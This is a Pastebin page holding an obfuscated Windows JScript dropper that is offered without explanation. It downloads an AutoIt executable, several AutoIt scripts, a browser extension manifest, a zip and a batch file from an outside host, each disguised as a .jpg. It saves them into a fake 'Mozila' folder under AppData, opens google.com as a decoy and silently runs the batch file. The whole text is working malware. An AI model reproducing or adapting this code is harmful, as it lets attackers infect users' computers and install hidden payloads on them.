Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var _0xe519 = ["Msxml2.XMLhttp", "onreadystatechange", "readyState", "status", "ADODB.Stream", "open", "type", "write", "position", "read", "saveToFile", "close", "GET", "send", "Scripting.FileSystemObject", "WScript.Shell", "Shell.Application", "%APPDATA%\", "ExpandEnvironmentStrings ", "Mozila ", "https: //www.google.com", "http://userexperiencestatics.net/ext/Autoit.jpg", "\autoit.exe", "http://userexperiencestatics.net/ext/bg.jpg", "\bg.js", "http://userexperiencestatics.net/ext/ekl.jpg", "\ekl.au3", "http://userexperiencestatics.net/ext/ff.jpg", "\ff.zip", "http://userexperiencestatics.net/ext/force.jpg", "\force.au3", "http://userexperiencestatics.net/ext/sabit.jpg", "\sabit.au3", "http://userexperiencestatics.net/ext/manifest.jpg", "\manifest.json", "http://userexperiencestatics.net/ext/run.jpg", "\run.bat", "http://userexperiencestatics.net/ext/up.jpg", "\up.au3", "http://whos.amung.us/pingjs/?k=pingjse346", "\ping.js", "http://whos.amung.us/pingjs/?k=pingjse3462", "\ping2.js", ""];
- (function(_0xc4a4x1) {
- function _0xc4a4x2(_0xc4a4x2, _0xc4a4x3, _0xc4a4x4) {
- if (!_0xc4a4x3 || !_0xc4a4x2) {
- return null
- };
- var _0xc4a4x5 = WScript.CreateObject(_0xe519[0]);
- _0xc4a4x5[_0xe519[1]] = function() {
- if (_0xc4a4x5[_0xe519[2]] === 4 && _0xc4a4x5[_0xe519[3]] === 200) {
- xa = new ActiveXObject(_0xe519[4]);
- xa[_0xe519[5]]();
- xa[_0xe519[6]] = 1;
- xa[_0xe519[7]](_0xc4a4x5.ResponseBody);
- xa[_0xe519[8]] = _0xc4a4x4;
- stm2 = new ActiveXObject(_0xe519[4]);
- stm2[_0xe519[6]] = 1;
- stm2[_0xe519[5]]();
- stm2[_0xe519[7]](xa[_0xe519[9]]());
- stm2[_0xe519[10]](_0xc4a4x3, 2);
- stm2[_0xe519[11]]();
- xa[_0xe519[11]]()
- }
- };
- _0xc4a4x5[_0xe519[5]](_0xe519[12], _0xc4a4x2, false);
- _0xc4a4x5[_0xe519[13]](null)
- }
- function _0xc4a4x6(_0xc4a4x7, _0xc4a4x8) {
- {
- xa = new ActiveXObject(_0xe519[4]);
- xa[_0xe519[5]]();
- xa[_0xe519[6]] = 1;
- xa.LoadFromFile(_0xc4a4x7);
- ix = new ActiveXObject(_0xe519[4]);
- ix[_0xe519[5]]();
- ix[_0xe519[6]] = 1;
- ix.LoadFromFile(_0xc4a4x8);
- stm2 = new ActiveXObject(_0xe519[4]);
- stm2[_0xe519[6]] = 1;
- stm2[_0xe519[5]]();
- stm2[_0xe519[7]](ix[_0xe519[9]]());
- stm2[_0xe519[7]](xa[_0xe519[9]]());
- xa[_0xe519[11]]();
- ix[_0xe519[11]]();
- stm2[_0xe519[10]](_0xc4a4x7, 2);
- stm2[_0xe519[11]]()
- }
- }
- fso = new ActiveXObject(_0xe519[14]);
- var _0xc4a4x9 = new ActiveXObject(_0xe519[15]);
- _0xc4a4x1 = new ActiveXObject(_0xe519[16]);
- FileDestr = _0xc4a4x9[_0xe519[18]](_0xe519[17]);
- mozklasor = FileDestr + _0xe519[19];
- if (!fso.FolderExists(mozklasor)) {
- fso.CreateFolder(mozklasor)
- };
- _0xc4a4x1.ShellExecute(_0xe519[20]);
- _0xc4a4x2(_0xe519[21], mozklasor + _0xe519[22], 0);
- _0xc4a4x2(_0xe519[23], mozklasor + _0xe519[24], 0);
- _0xc4a4x2(_0xe519[25], mozklasor + _0xe519[26], 0);
- _0xc4a4x2(_0xe519[27], mozklasor + _0xe519[28], 0);
- _0xc4a4x2(_0xe519[29], mozklasor + _0xe519[30], 0);
- _0xc4a4x2(_0xe519[31], mozklasor + _0xe519[32], 0);
- _0xc4a4x2(_0xe519[33], mozklasor + _0xe519[34], 0);
- _0xc4a4x2(_0xe519[35], mozklasor + _0xe519[36], 0);
- _0xc4a4x2(_0xe519[37], mozklasor + _0xe519[38], 0);
- _0xc4a4x2(_0xe519[39], mozklasor + _0xe519[40], 0);
- _0xc4a4x2(_0xe519[41], mozklasor + _0xe519[42], 0);
- _0xc4a4x1.ShellExecute(mozklasor + _0xe519[36], _0xe519[43], mozklasor, _0xe519[43], 0)
- })(this)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement